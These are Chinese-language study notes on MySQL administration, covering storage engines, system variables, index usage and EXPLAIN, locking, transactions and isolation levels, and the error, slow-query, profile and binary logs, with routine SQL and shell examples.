    • MySAM:MySQL 经典的存储引擎
    • InnoDB:Innobase Oy 公司开发,2006 年五月由甲骨文公司并购提供给 MySQL
    • NDB:主要用于 MySQL Cluster 分布式集群环境
    • Archive:做归档
  • file system:

  • files & logs:

MySQL 还提供管理和服务工具,例如:备份和恢复工具,安全工具,复制工具,集群服务,管理、配置、迁移、元数据等工具

存储引擎

MyISAM

  • 不支持事务,所以崩溃恢复性较差
  • 表级锁定
  • 读写相互锁定,写入时不能读,读时不能写
  • 不支持外键
  • 读取数据快,占用资源少
  • 不支持 MVCC(多版本并发控制机制)高并发

数据库文件:

  • tbl_name.frm:储存数据表定义
  • tbl_name.MYD:存储数据
  • tbl_name.MYI:存储索引

InnoDB

Innodb 和 MyISAM 的主要区别在于是否支持事务,其他的区别只是表面区别,根本原因还是是否支持事务导致的

  • 行级锁
  • 支持事务,所以崩溃恢复性好
  • 读写阻塞与事务隔离级别相关
  • 支持 MVCC 高并发

数据库文件:

innodb 读取数据是以 page 为单位

innodb_file_per_table = ON(mysql5.6.6 后默认开启)设置独立表空间:

  • tbl_name.frm:储存数据表定义
  • tbl_name.ibd:存储数据和索引,myisam 把数据和索引分开存储,而 innodb 存储在一起

innodb_file_per_table = OFF 设置共享表空间:

  • tbl_name.frm:储存数据表定义
  • ibdata1:所有表的数据和索引都存储在 ibdata1 中,默认位于 datadir 目录下

关于 ibdata1 文件:

ibdata1 是共享表空间,设置 innodb_file_per_table = ON 后,ibdata1 还会增长,那其中存储的数据是什么呢?不太清楚…

其他存储引擎

Performance_Schema、Memory、MRG_MyISAM、Archive、Federated 联合、BDB、Cluster/NDB、CSV、BLACKHOLE、example

管理存储引擎

  • 查看
1
2
3
4
5
6
7
8
9
10
11
12
# 查看mysql支持的存储引擎
show engines;

# 查看当前默认的存储引擎
show variables like '%storage_engine%';

# 查看库中所有表使用的存储引擎
show table status from db_name;

# 查看库中指定表的存储引擎
show table status like 'tb_name';
show create table tb_name;
  • 设置
1
2
3
4
5
6
7
8
# 设置默认的存储引擎
vim /etc/my.cnf
[mysqld]
default_storage_engine= InnoDB

设置表的存储引擎:
CREATE TABLE tb_name(... ) ENGINE=InnoDB;
ALTER TABLE tb_name ENGINE=InnoDB;

系统数据库

  • mysql
    是 mysql 的核心数据库,类似于 Sql Server 中的 master 库,主要负责存储数据库的用户、权限设置、关键字等 mysql 自己需要使用的控制和管理信息

  • performance_schema
    MySQL 5.5 开始新增的数据库,主要用于收集数据库服务器性能参数,库里表的存储引擎均为 PERFORMANCE_SCHEMA,用户不能创建存储引擎为 PERFORMANCE_SCHEMA 的表

  • information_schema
    MySQL 5.0 之后产生的,一个虚拟数据库,物理上并不存在 information_schema 数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)

  • sys
    MySQL5.7 之后新增加的数据库,库中所有数据源来自 performance_schema。目标是 performance_schema 的把复杂度降低,让 DBA 能更好的阅读这个库里的内容。让 DBA 更快的了解 DB 的运行情况

服务器配置和状态

服务器选项

  • 查看 mysqld 可用选项列表及当前值
1
mysqld --verbose --help
  • 获取 mysqld 当前启动选项
1
mysqld --print-defaults

服务器系统变量

分为全局和会话两种:

1
2
3
4
5
6
7
8
# 查看所有系统变量
SHOW [SESSION] VARIABLES; # SESSION是关键字,不是变量
# 查看global变量
SHOW GLOBAL VARIABLES;

# 查看指定的系统变量
SHOW VARIABLES LIKE 'VAR_NAME';
SELECT @@VAR_NAME;

修改变量:仅对修改后新创建的会话有效;对已经建立的会话无效

1
2
3
4
5
6
7
# 修改全局变量
SET GLOBAL system_var_name=value;
SET @@global.system_var_name=value;

# 修改会话变量
SET [SESSION] system_var_name=value;
SET @@[session.]system_var_name=value;

注意:选项 和 变量长得很像,不要搞混,选项和变量使用中使用下划线_或者横线-都可以,但是默认变量使用下划线,选项使用横线,这点在使用 grep 查询的时候要注意
选项列表:mysqld --verbose --help
变量列表:show variables;
变量修改都是临时性的,重启服务就失效了,要想永久设置,需要修改或添加配置文件(my.conf)中的相关选项

SQL_MODE

SQL_MODE:对其设置可以完成一些约束检查的工作,可分别进行全局的设置或当前会话的设置

常见 MODE:

  • NO_AUTO_CREATE_USER: 禁止 GRANT 创建密码为空的用户
  • NO_ZERO_DATE:在严格模式,不允许使用’0000-00-00’的时间
  • ONLY_FULL_GROUP_BY: 对于 GROUP BY 聚合操作,如果在 SELECT 中的列,没有在 GROUP BY 中出现,那么将认为这个 SQL 是不合法的
  • NO_BACKSLASH_ESCAPES: 反斜杠“\”作为普通字符而非转义字符
  • PIPES_AS_CONCAT: 将”||”视为连接操作符而非“或”运算符

变量只能临时修改,所以选项也提供了 sql_mode,以便可以永久修改

1
2
3
4
# sql_mode 变量
06:47:43(root@localhost) [(none)]> show variables like 'sql_mode';
# sql_mode 选项
[root@c71 ~]$mysqladmin -uroot -plujinkai variables | grep sql_mode

服务器状态变量

分为全局状态 和 会话状态,状态变量是只读的,用于保存 mysqld 运行中统计数据的变量,不可更改

1
2
SHOW [SESSION] STATUS;
SHOW GLOBAL STATUS;

查询缓存

了解即可,MySQL8.0 中已经取消了查询缓存

索引

索引的类型

关于索引的类型,这部分比较难,先跳过吧,等学学数据结构再回来看\

索引会失效的情况

  • 列与列对比:某个表中,有两列(id 和 c_id)都建了单独索引,下面这种查询条件不会走索引

    1
    select * from test where id=c_id;
  • 索引设置的列中出现了 NULL 值,此列在使用时不会使用索引

  • <>、NOT、in、not exists 这类查询条件为非时,索引定位很困难

    1
    2
    3
    4
    select * from test where id<>500;
    select * from test where id in (1,2,3,4,5);
    select * from test where not in (6,7,8,9,0);
    select * from test where not exists (select 1 from test_02 where test_02.id=test.id);
  • LIKE 模糊搜索时,前置通配符会让索引失效,例如查询姓张的人 like 张%会走索引,但是查询叫明的人 like %明,索引会失效

  • 对索引使用计算,可能会让索引失效,例如:

    1
    2
    3
    4
    select * from test where upper(name)='SUNYANG';  # 索引失效
    select * from test where name=upper('sunyang'); # 没有对索引进行计算,所以索引不失效
    select * from sunyang where id/2=:type_id; # 索引失效
    select * from sunyang where id=:type_id*2; # 没有对索引进行计算,所以索引不失效
  • 复合索引前导列区分大,前导列区分度大,且查后导列的时候,前导列的分裂会非常耗资源,执行计划想,还不如全表扫描来的快,然后就索引失效了

  • 当查询条件存在隐式转换时,索引会失效。比如在数据库里 id 存的 number 类型,但是在查询时,却用了下面的形式:

    1
    select * from sunyang where id='123';

索引优化

  • 对于经常在 where 子句使用的列,最好设置索引
  • 对于有多个列 where 或者 order by 子句,应该建立复合索引
  • 不要在索引列上进行运算(函数操作和表达式操作)
  • 尽量使用短索引,如果可以,应该制定一个前缀长度
  • 多列索引:AND 操作时更适合使用多列索引,而非为每个列创建单独的索引
  • 索引的最左前缀原则
  • 选择合适的索引列顺序:无排序和分组时,将选择性最高放左侧
  • 每个列都要设置NOT NULL,并设置 DEFAULT 值,并且 DEFAULT 值不要设置空串,可以给一个空格
  • LIKE 语句,尽量使用后置通配符,不要使用前置通配符
  • 尽量不要使用<>、NOT、in、not exists 操作,虽然可能使用索引,但性能不高
  • 查询时,能不要 *就不用 *,尽量写全字段名,比如:select id,name,age from students;
  • 大部分情况连接效率远大于子查询,但是数据量大的时候,连接要尽量不要用
  • 在有大量记录的表分页时使用 limit
  • 多使用 explain 和 profile 分析查询语句
  • 查看慢查询日志,找出执行时间长的 sql 语句优化

优化表空间

1
OPTIMIZE TABLE tb_name;

管理索引

给已存在的表添加索引:

1
ALTER TABLE tbl_name ADD INDEX index_name(index_col_name[(length)]);

删除索引:

1
2
DROP INDEX index_name ON tbl_name;
ALTER TABLE tbl_name DROP INDEX index_name(index_col_name);

查看索引:

1
SHOW INDEXES FROM [db_name.]tbl_name;

EXPLAIN 工具

可以通过 EXPLAIN 来分析索引的有效性,获取查询执行计划信息,用来查看查询优化器如何执行查询。

参考资料: https://dev.mysql.com/doc/refman/5.7/en/explain-output.html

语法:

1
explain 查询语句

示例:

explain 输出信息说明:

列名 说明
id 执行编号,标识 select 所属的行。如果在语句中没子查询或关联查询,只有唯一的 select,每行都将显示 1。否则,内层的 select 语句一般会顺序编号,对应于其在原始语句中的位置
select_type - 简单查询:SIMPLE
- 复杂查询:PRIMARY(最外面的 SELECT)、DERIVED(用于 FROM 中的子查询)、UNION(UNION 语句的第一个之后的 SELECT 语句)、UNION RESUlT(匿名临时表)、SUBQUERY(简单子查询)
table 表名
partitions
type 关联类型或访问类型,即 MySQL 决定的如何去查询表中的行的方式
possible_keys 查询可能会用到的索引
key 显示 mysql 决定采用哪个索引来优化查询
key_len 显示 mysql 在索引里使用的字节数
ref 根据索引返回表中匹配某单个值的所有行
rows 为了找到所需的行而需要读取的行数,估算值,不精确。通过把所有 rows 列值相乘,可粗略估算整个查询会检查的行数
filtered 按表条件筛选的行的百分比
Extra 额外信息

重点: type 显示的是访问类型,是较为重要的一个指标,结果值从好到坏依次是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
NULL
system
const
eq_ref
ref
fulltext
ref_or_null
index_merge
unique_subquery
index_subquery
range
index
ALL

# 重点掌握以下10种
NULL > system > const > eq_ref > ref > ref_or_null > index_merge > range > index > ALL

explain

并发控制

锁机制

读锁:共享锁,也称为 S 锁,只读不可写(包括当前事务),多个读互不阻塞
写锁:独占锁,排它锁,也称为 X 锁,写锁会阻塞其它事务(不包括当前事务)的读和写

S 锁和 S 锁是兼容的,X 锁和其它锁都不兼容

锁粒度:

  • 表级锁:MyISAM
  • 行级锁:InnodB

实现

  • 存储引擎:自行实现其锁策略和锁粒度
  • 服务器级:实现了锁,表级锁,用户可显式请求

分类:

  • 隐式锁:由存储引擎自动施加锁
  • 显式锁:用户手动请求

锁策略:在锁粒度及数据安全性寻求的平衡机制

显式使用锁

1
2
3
4
5
6
7
8
9
10
11
12
13
# 加锁
LOCK TABLE[S]
tbl_name [[AS] alias] lock_type
[, tbl_name [[AS] alias] lock_type] ...
[WAIT n|NOWAIT]

lock_type:
READ [LOCAL]
| [LOW_PRIORITY] WRITE
| WRITE CONCURRENT

# 解锁
UNLOCK TABLES

通常在备份前加全局读锁

事务 Transactions

事务:一组原子性的 SQL 语句,或一个独立工作单元

事务日志:记录事务信息,实现 undo,redo 等故障恢复功能

事务特性 ACID

  • A:atomicity 原子性;整个事务中的所有操作要么全部成功执行,要么全部失败后回滚
  • C:consistency 一致性;数据库总是从一个一致性状态转换为另一个一致性状态
  • I:Isolation 隔离性;一个事务所做出的操作在提交之前,是不能为其它事务所见;隔离有多种隔离级别,实现并发
  • D:durability 持久性;一旦事务提交,其所做的修改会永久保存于数据库中

事务命令

显式启动事务:

1
2
3
4
5
BEGIN
# 或
BEGIN WORK
# 或
START TRANSACTION

结束事务:

1
2
3
4
5
#提交
COMMIT

#回滚
ROLLBACK

自动提交:

1
set autocommit={1|0}

默认为 1,为 0 时设为非自动提交,建议:显式请求和提交事务,而不要使用“自动提交”功能

事务支持保存点:…

查看事务:

1
2
3
4
5
6
#查看当前正在进行的事务
SELECT * FROM INFORMATION_SCHEMA.INNODB_TRX;
#查看当前锁定的事务
SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS;
#查看当前等锁的事务
SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS;

事务隔离级别

MySQL 支持四种隔离级别,事务隔离级别从上至下更加严格,默认为 REPEATABLE-READ

隔离级别 脏读 不可重复读 幻读 加读锁
READ UNCOMMITTED 读未提交 可以出现 可以出现 可以出现
READ COMMITTED 读提交 不允许出现 可以出现 可以出现
REPEATABLE READ 可重复读 不允许出现 不允许出现 可以出现
SERIALIZABLE 序列化 不允许出现 不允许出现 不允许出现

MVCC 和事务的隔离级别:
MVCC(多版本并发控制机制)只在 REPEATABLE READ 和 READ COMMITTED 两个隔离级别下工作。其
他两个隔离级别都和 MVCC 不兼容,因为 READ UNCOMMITTED 总是读取最新的数据行,而不是符合当前
事务版本的数据行。而 SERIALIZABLE 则会对所有读取的行都加锁

指定事务隔离级别:

1
2
3
4
5
6
# 变量
SET tx_isolation='READ-UNCOMMITTED|READ-COMMITTED|REPEATABLE-READ|SERIALIZABLE'
# 选项
vim /etc/my.cnf
[mysqld]
transaction-isolation=SERIALIZABLE

死锁:两个或多个事务在同一资源相互占用,并请求锁定对方占用的资源的状态

什么是脏读和幻读

脏读
脏读是指当一个事务正在访问数据,并且对数据进行了修改。而这种修改还没有提交到数据库中,这时,另外一个事务也访问了这个数据,然后使用了这个数据。

例子: 1.财务将董震的工资从 1000 修改成了 8000(但未提交事务) 2.此时应董震读取自己的工资发现自己的工资变成了 8000,高兴的上蹦下跳 3.接着财务发现操作有误,回滚了事务,此时董震的工资又变成了 1000,此时董震记取的工资 8000 是一个 脏数据
幻读
幻读是指当事务不是独立执行时发生的一种现象,例如第一个事务对一个表中的数据进行了修改,这种修改涉及到了表中的全部数据行。同时,第二个事务也修改了这个表中的数据,这种修改是向表中插入一行新数据。那么,以后就会发生操作第一个事务的用户发现表中还有没有修改的数据行,就好像发生了幻觉一样。

例子:
目前公司员工工资为 1000 的有 10 人

  1. 事务 1 读取所有的员工工资为 1000 的员工。
  2. 2.这时事务 2 向 employee 表插入了一条员工纪录,工资也为 1000
  3. 3.事务 1 再次读取所有工资为 1000 的员工,共读取了 11 条记录。

解决方法:如果在操作事务完成数据处理之前,任何其它事务都不可以添加新数据。

日志管理

MySQL 支持丰富的日志

~/.mysql_history

~/.mysql_history 文件记录了所有的操作数据库的命令

事务日志

transaction log

事务日志的写入类型为“追加”,因此其操作为“顺序 IO”;通常也被称为:预写式日志 write ahead logging

事务日志分类两部分:redo 和 undo

  • redo log:实现 WAL(Write Ahead Log),数据更新前先记录 redo log;

    redo 日志存储在 ib_logfile0, ib_logfile1…文件中

  • undo log:保存与执行的操作相反的操作,用于实现 rollback;

    undo 日志和数据存储在一起,都在 ibdata1 或 tbl_name.ibd 文件中,当 DB 写压力比较大的时候,可以设置开启独立的 undo 表空间

相关配置选项:

1
2
3
4
innodb_log_file_size 50331648 # 每个日志文件大小
innodb_log_files_in_group 2 # 日志组成员个数
innodb_log_group_home_dir ./ # 事务文件路径
innodb_flush_log_at_trx_commit # 默认为1

innodb_flush_log_at_trx_commit=0|1|2

  • 0:事务提交到 mysql 的日志缓冲区,每秒刷新到磁盘一次,提高性能,但是 mysql 服务崩溃可能会丢失最后一秒的事务
  • 1:默认值,每次提交事务都刷新到磁盘,完全遵守 ACID 特性
  • 2:事务提交到 OS 的缓冲区,每秒刷新到磁盘一次,性能比 0 略差,操作系统崩溃可能丢失最后一秒的事务

推荐设置为 2
设置为 1,同时 sync-binlog = 1,表示最高级别的容错

错误日志

  • mysqld 启动和关闭过程中输出的事件信息
  • mysqld 运行中产生的错误信息
  • event scheduler 运行一个 event 时产生的日志信息
  • 在主从复制架构中的从服务器上启动从服务器线程时产生的信息

错误文件路径:

1
2
[mysqld]
log_error=${data_dir}/mysql-error.log

错误文件记录警告的级别:

1
2
3
[mysqld]
log_error_verbosity = 1 | 2 | 3
# 1 错误信息;2 错误信息和告警信息; 3:错误信息、告警信息和通知信息

通用日志

通用日志记录对数据库的通用操作,包括 错误的 SQL 语句,如果数据库的使用非常频繁,通用查询日志将会占用非常大的磁盘空间,对系统性能影响较大。一般情况下,数据管理员可以删除很长时间之前的通用查询日志或关闭此日志,以保证 MySQL 服务器上的硬盘空间。

通用日志可以保存在 file(默认)或 table(mysql.general_log 表)

通用日志相关设置

1
2
3
4
# 默认是关闭的
general-log=ON|OFF
general-log-file=HOSTNAME.log
log-output=TABLE | FILE | NONE

慢查询日志

记录执行查询时长超出指定时长的操作

慢查询相关设置选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 开启或关闭慢查询,支持全局和会话,只有全局设置才会生成慢查询文件
slow-query-log = ON|OFF

slow-query-log-file = HOSTNAME-slow.log

# 慢查询的阀值,单位秒,默认为10s,建议修改为1s
long-query-time = N

# 记录不使用索引或使用全索引扫描的SQL语句,即使没达到慢查询阀值,默认OFF不记录
log-queries-not-using-indexes = ON

# 多少次查询才记录,mariadb特有
log-slow-rate-limit = 1

慢查询分析工具 mysqldumpslow

1
mysqldumpslow [ OPTS... ] [ LOGS... ]

范例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root@4710419222 mysql]# mysqldumpslow --help
[root@4710419222 mysql]# mysqldumpslow -s t /data/mysql/mysql-slow.log

Reading mysql slow query log from /data/mysql/mysql-slow.log
Count: 3 Time=93.62s (280s) Lock=0.00s (0s) Rows=927.0 (2781), 2users@3hosts
SELECT * FROM `sp_goods`

Count: 3 Time=13.45s (40s) Lock=0.00s (0s) Rows=4578.0 (13734), 2users@3hosts
SELECT * FROM `sp_goods_pics`

Count: 1 Time=2.63s (2s) Lock=0.00s (0s) Rows=3802.0 (3802), lujinkai[lujinkai]@[124.134.219.24]
SELECT * FROM `sp_attribute`

Count: 1 Time=1.28s (1s) Lock=0.00s (0s) Rows=1457.0 (1457), lujinkai[lujinkai]@[124.134.219.24]
SELECT * FROM `sp_category`

profile 工具

profile 工具可以对一条 SQL 的性能进行分析,开启 profile 功能后,所有查询包括错误的语句都会记录在内。

1
2
3
[mysqld]
# 设置profile可以缓存的SQL语句数量,可以设置0-100,默认15
profiling-history-size=15

profile 不能通过设置配置文件的方式自动启动,只能通过设置变量的方式会话启动

1
10:13:33(root@localhost) [(none)]> set @@profiling=1; # 开启profile

set profiling=0 或者退出会话自动关闭 profile

范例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# 1. 查看profile缓存的sql语句
MySQL [blog]> show profiles;
+----------+------------+-----------------------------------+
| Query_ID | Duration | Query |
+----------+------------+-----------------------------------+
| 1 | 0.00195000 | show variables like '%profiling%' |
| 2 | 0.00019525 | SELECT DATABASE() |
| 3 | 0.00057600 | show databases |
| 4 | 0.00013950 | SELECT DATABASE() |
| 5 | 0.00043075 | show tables |
| 6 | 0.00439525 | select * from no1_user |
| 7 | 0.00058925 | show databases |
| 8 | 0.00020350 | SELECT DATABASE() |
| 9 | 0.00136600 | show tables |
| 10 | 0.00425275 | select * from typecho_contents |
+----------+------------+-----------------------------------+
10 rows in set, 1 warning (0.00 sec)

# 2. 分析Query_ID=10的sql语句,查看执行这条语句的时间都消耗在了哪里
MySQL [blog]> show profile for query 10;
+--------------------------------+----------+
| Status | Duration |
+--------------------------------+----------+
| starting | 0.000034 |
| Waiting for query cache lock | 0.000015 |
| starting | 0.000003 |
| checking query cache for query | 0.000056 |
| checking permissions | 0.000010 |
| Opening tables | 0.002307 |
| init | 0.000045 |
| System lock | 0.000013 |
| Waiting for query cache lock | 0.000004 |
| System lock | 0.000029 |
| optimizing | 0.000007 |
| statistics | 0.000019 |
| preparing | 0.000018 |
| executing | 0.000004 |
| Sending data | 0.001413 |
| Waiting for query cache lock | 0.000006 |
| Sending data | 0.000159 |
| Waiting for query cache lock | 0.000006 |
| Sending data | 0.000053 |
| end | 0.000005 |
| query end | 0.000007 |
| closing tables | 0.000009 |
| freeing items | 0.000008 |
| Waiting for query cache lock | 0.000002 |
| freeing items | 0.000015 |
| Waiting for query cache lock | 0.000002 |
| freeing items | 0.000002 |
| storing result in query cache | 0.000003 |
| cleaning up | 0.000003 |
+--------------------------------+----------+
29 rows in set, 1 warning (0.00 sec)

# 3. 第二步的查询的结果不够细致,显示CPU的耗时情况
MySQL [blog]> show profile cpu for query 10;
+--------------------------------+----------+----------+------------+
| Status | Duration | CPU_user | CPU_system |
+--------------------------------+----------+----------+------------+
| starting | 0.000034 | 0.000018 | 0.000016 |
| Waiting for query cache lock | 0.000015 | 0.000007 | 0.000007 |
| starting | 0.000003 | 0.000002 | 0.000001 |
| checking query cache for query | 0.000056 | 0.000030 | 0.000027 |
| checking permissions | 0.000010 | 0.000005 | 0.000004 |
| Opening tables | 0.002307 | 0.000243 | 0.000216 |
| init | 0.000045 | 0.000023 | 0.000021 |
| System lock | 0.000013 | 0.000007 | 0.000006 |
| Waiting for query cache lock | 0.000004 | 0.000002 | 0.000001 |
| System lock | 0.000029 | 0.000015 | 0.000014 |
| optimizing | 0.000007 | 0.000004 | 0.000003 |
| statistics | 0.000019 | 0.000010 | 0.000009 |
| preparing | 0.000018 | 0.000009 | 0.000009 |
| executing | 0.000004 | 0.000002 | 0.000001 |
| Sending data | 0.001413 | 0.000345 | 0.000000 |
| Waiting for query cache lock | 0.000006 | 0.000005 | 0.000000 |
| Sending data | 0.000159 | 0.000163 | 0.000000 |
| Waiting for query cache lock | 0.000006 | 0.000002 | 0.000000 |
| Sending data | 0.000053 | 0.000054 | 0.000000 |
| end | 0.000005 | 0.000004 | 0.000000 |
| query end | 0.000007 | 0.000006 | 0.000000 |
| closing tables | 0.000009 | 0.000009 | 0.000000 |
| freeing items | 0.000008 | 0.000008 | 0.000000 |
| Waiting for query cache lock | 0.000002 | 0.000001 | 0.000000 |
| freeing items | 0.000015 | 0.000015 | 0.000000 |
| Waiting for query cache lock | 0.000002 | 0.000002 | 0.000000 |
| freeing items | 0.000002 | 0.000002 | 0.000000 |
| storing result in query cache | 0.000003 | 0.000003 | 0.000000 |
| cleaning up | 0.000003 | 0.000003 | 0.000000 |
+--------------------------------+----------+----------+------------+
29 rows in set, 1 warning (0.00 sec)

除了可以查看 CPU 的耗时情况,还支持分析很多类型,例如:

分析类型 说明
all 显示所有性能信息
block io 显示块 IO(块的输入输出)的次数
context switches 上下文切换相关开销
cpu 显示用户和系统的 cpu 的耗时情况
ipc 显示发送和接受的消息数量
memory 暂时还没有这个选项,未来可能有
page faults 显示主要和次要的页面故障
swaps 显示 swap 的次数

分析多个类型时,使用逗号分割,例如:show profile cpu,block io for query 10;

二进制日志(备份)

生产中,上述日志都可以不开启,但是二进制日志一定要开启,因为二进制日志我们是当备份用的

  1. 记录导致数据改变或潜在导致数据改变的 SQL 语句,例如 SELECT 语句是不会被记录的
  2. 记录已提交的事务,不会记录脏数据
  3. 不依赖于存储引擎

注意区分二进制日志和事务日志

相关配置选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[mysqld]
# 设置二进制日志的路径,生产中应该设置单独的目录(磁盘)存放
log-bin = /data/mysqlbinlog/mysql-bin
# 二进制日志记录的格式,5.7默认MIXED,8.0默认ROW
binlog-format = STATEMENT | ROW | MIXED
# 二进制日志的最大值,字节为单位,默认1G
max-binlog-size = 1073741824
# 为每个session分配的内存,用作事务的二进制日志缓存,默认1M
binlog-cache-size = 1048576
# 限制最大缓存,默认16EB,保持默认值即可
max-binlog-cache-size = 18446744073709547520
# 二进制日志是否即时同步到磁盘,默认0,由操作系统负责同步日志到磁盘
sync-binlog = 1 | 0
# 二进制日志可以自动删除的天数。 默认为0,即不自动删除
expire-logs-days = N

log-bin = /data/mysqlbinlog/mysql-bin

1
2
3
4
[root@c71 mysqlbinlog]$ll ./mysql-bin.*
-rw-r----- 1 mysql mysql 177 Oct 16 21:37 ./mysql-bin.000001
-rw-r----- 1 mysql mysql 3683 Oct 16 22:38 ./mysql-bin.000002
-rw-r----- 1 mysql mysql 228 Oct 22 09:26 mysql-bin.index

binlog-format = STATEMENT | ROW | MIXED

  • statement:基于语句记录,日志量较少,但生产中不推荐使用,因为二进制日志是用来备份的,如果记录了类似update table set time = now();的语句,那将来恢复备份的时候 now()值就变了
  • row:基于行记录,日志量较大,例如上面的 update 操作,statement 模式原封不动的只记录一条语句,而 row 模式则记录每一条数据的更改,并且不会记录 now(),而是转成确切时间记录,所以 row 模式更加安全,生产中推荐使用
  • mixed:混合模式,让系统根据情况自行切换 statement 和 row 模式,这样即相对节省硬盘空间,也安全,但是万一系统判断错了呢,所以还是推荐使用 row 模式,确保万无一失

max-binlog-size = 1073741824:以下三种情况会切换二进制日志(就是生产一个新的二进制日志文件,后面的数据库更改操作记录在新的二进制日志文件中)

  • 重启数据库
  • 二进制日志文件达到了 max_binlog_size 设置的值
  • 执行flush logs;命令主动刷新所有日志

binlog-cache-size = 1048576
max-binlog-cache-size = 18446744073709547520

当事务过大,所需缓存超过了binlog-cache-size分配的内存大小,会使用临时文件,如果超过了max-binlog-cache-size限制的最大值,则直接报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
10:32:47(root@localhost) [(none)]> show global status like 'bin%';
+----------------------------+-------+
| Variable_name | Value |
+----------------------------+-------+
| Binlog_cache_disk_use | 0 |
| Binlog_cache_use | 0 |
| Binlog_stmt_cache_disk_use | 0 |
| Binlog_stmt_cache_use | 0 |
+----------------------------+-------+
4 rows in set (0.00 sec)

# Binlog_cache_disk_use表示因binlog_cache_size设计的内存不足导致缓存二进制日志用到了临时文件的次数
# Binlog_cache_use表示用binlog_cache_size缓存的次数
# 当Binlog_cache_disk_use值比较大的时候,可以考虑适当的调高binlog_cache_size的值

相关变量

1
2
3
4
5
6
7
09:40:36(root@localhost) [(none)]> select @@sql_log_bin;
+---------------+
| @@sql_log_bin |
+---------------+
| 1 |
+---------------+
1 row in set (0.00 sec)

log-bin 配置选项是全局级别的,sql_log_bin 变量是会话级别的

相关工具和命令

mysqlbinlog:二进制日志的客户端命令工具,支持离线查看二进制日志

1
2
3
4
5
6
7
8
mysqlbinlog [options] log-files

--start-position=# 指定开始位置
--stop-position=#
--start-datetime= #时间格式:YYYY-MM-DD hh:mm:ss
--stop-datetime=
--base64-output[=name]
-v -vvv

mysqlbinlog 可以用于简单的备份

1
2
3
4
# 备份 在Mysql5.5以下版本使用mysqlbinlog命令时如果报错,就加上"--no-defaults"选项
[root@c71 mysql]$mysqlbinlog --no-defaults /data/mysql/mysql-bin.000014 > ~/test.sql
# 恢复
[root@c71 mysql]$mysql -uroot -plujinkai < ~/test.sql

PURGE:清除指定二进制日志

1
PURGE { BINARY | MASTER } LOGS { TO 'log_name' | BEFORE datetime_expr }
1
2
3
PURGE BINARY LOGS TO 'mariadb-bin.000003'; # 删除mariadb-bin.000003之前的日志
PURGE BINARY LOGS BEFORE '2017-01-23';
PURGE BINARY LOGS BEFORE '2017-03-22 09:25:30';

RESET MASTER:删除所有二进制日志,index 文件重新计数,一般在完成备份后,可以执行此操作